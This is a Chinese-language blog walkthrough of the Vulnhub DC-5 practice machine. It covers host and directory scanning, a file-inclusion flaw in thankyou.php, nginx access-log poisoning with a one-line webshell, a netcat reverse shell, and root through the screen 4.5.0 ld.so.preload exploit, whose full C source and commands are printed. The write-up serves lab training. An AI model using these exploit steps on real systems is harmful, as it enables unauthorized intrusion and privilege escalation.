还在加载 请稍等一下辣ヾ(≧▽≦*)o . . .

Vulnhub-DC-5靶机实战


前言

靶机下载地址:https://www.vulnhub.com/entry/dc-5,314/

KALI地址:192.168.16.109

靶机地址:192.168.16.1


一.信息收集

1.主机发现

使用如下命令来发现靶机

netdiscover -r 192.168.16.109

如下图发现了靶机地址


2.主机扫描

这里使用nmap工具,命令如下

nmap -A -T4 -p- 192.168.16.1

扫描结果如下,发现开放的端口少的可怜


3.目录扫描

虽然少的可怜但是开放了80端口,肯定要用dirb来扫一下目录啊,命令如下

dirb http://192.168.16.1

如下图,发现目录扫描出来的东西也少的可怜


4.网页信息收集

打开发现是有五个页面可以点击的,前面四个没有什么好看的,目录扫描也没有扫描出来什么东西,但是最后一个目录有可以写入的东西也就是contact.php这个目录,但是写入东西然后发送之后,发现是GET传参,如下图。

但是经过了一系列的斗争搜索,真没发现什么可以利用的,然后这里我们使用kali的whatweb命令查看是什么结构的网站,如下图。

但是这样扫描也没有发现什么东西, 只能发现这个东西是nginx的网站,所以我不服,用dirsearch这个工具来重新扫描一下目录,这个工具可以自行百度下载,果然是kali的没有扫出来,如下图。

看样子是,一个脚页的名字,感觉没啥用,如下图访问。

不对,在自己边做边写文章的时候注意到,上面访问contact.php的时候,下面的年份是2020年,怎么访问这个是2018年,于是回到上面contact.php写入的地方刷新也就是thankyou.php的地方,证明了我的猜想,那么极有可能是这个地方包含了footer.php这个文件才能实现刷新,如下图,发送文件thankyou.php的地方,年份从2020变成了2018。


二.漏洞利用

1.文件包含

既然是猜测是文件包含漏洞,那么这里猜一猜变量是否为常见的file,如下图,还真是file,如果不行就只能爆破试试了。

既然有文件包含,其实我想的是用/var/log/auth.log来写入一句话木马,但是没有开放22端口,只能另寻办法,上面信息收集,发现是nginx的网站,那么看看能不能包含nginx的日志文件,在网上寻找了一番发现,我们需要利用的是一个叫做访问日志的东西,也就是access.log,如下图。

根据资料查找,发现路径是/var/log/nginx/access.log

如下图,发现可以访问,而且可以发现下面的内容都是我们访问过的URL地址的内容。

BP抓包,在里面修改包内容,在正常的URL地址后面根上一句话木马,如下图。

然后我们在查看日志内容是否有刚才我们访问的东西,如下图,发现是有的。

如下图,然后我们在用蚁剑连接,发现可以连接成功的!

由于蚁剑的终端可能会经常出毛病,所以这里直接nc反弹到kali里去了,如下图。


三.提权

既然反弹成功,这里查看是否有python,命令是whereis python,如下图,发现是有python的

然后这里使用python来更换shell,命令是python -c "import pty; pty.spawn('/bin/bash')"

然后我们在来三问,如下图。

然后查看具有SUID权限的命令,命令如下

find / -perm /4000 2>/dev/null

/: 对应的是根目录

-perm /4000: 查找SUID权限

2> :输出错误到空文件

如下图,发现了可以SUID的命令

然后我们KALI找一下是否有漏洞,使用命令searchsploit screen 4.5.0 ,如下图,然后把文件复制到桌面查看

cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./


cp /usr/share/exploitdb/exploits/linux/local/41152.txt ./

复制了我直接开始编译,发现是失败的,我就郁闷了为啥失败,然后打开看了一下文件,才明白了咋回事,首先看下面这个图,把红色框框的代码复制出来。放在libhax.c的文件里, 然后再使用gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c编译即可,这里我放在当前目录下面就没有加/tmp目录

上面代码如下

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

编译成功之后,再和上面操作一样把下面部分编译即可,如下图,我这里的编译命令是gcc -o rootshell rootshell.c

代码如下

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

做完这些操作之后发现就生成了两个文件分别是rootshelllibhax.so,最后就可以把生成的文件放在靶机的/tmp目录下面了,这里可以使用kali自带的web服务service start apache2来开启WEB服务,然后把文件放在KALI的/var/www/html目录下面,最后再回到靶机用wget命令下载即可,如下图靶机下载成功。

最后我们再执行脚本里面提示的命令即可,前提是文件要放在靶机的/tmp目录下面,如下命令

cd /etc
umask 000 
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" 
screen -ls 
/tmp/rootshell        

如下图提权成功,先来三问,发现成功提权到了root权限!!

然后我们就可以去root目录查看flag,如下图,完结!


四.总结

记得SUID提权的方式,和查找命令是find / -perm /4000 2>/dev/null


文章作者: 坂琴
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 坂琴 !
评论
  目录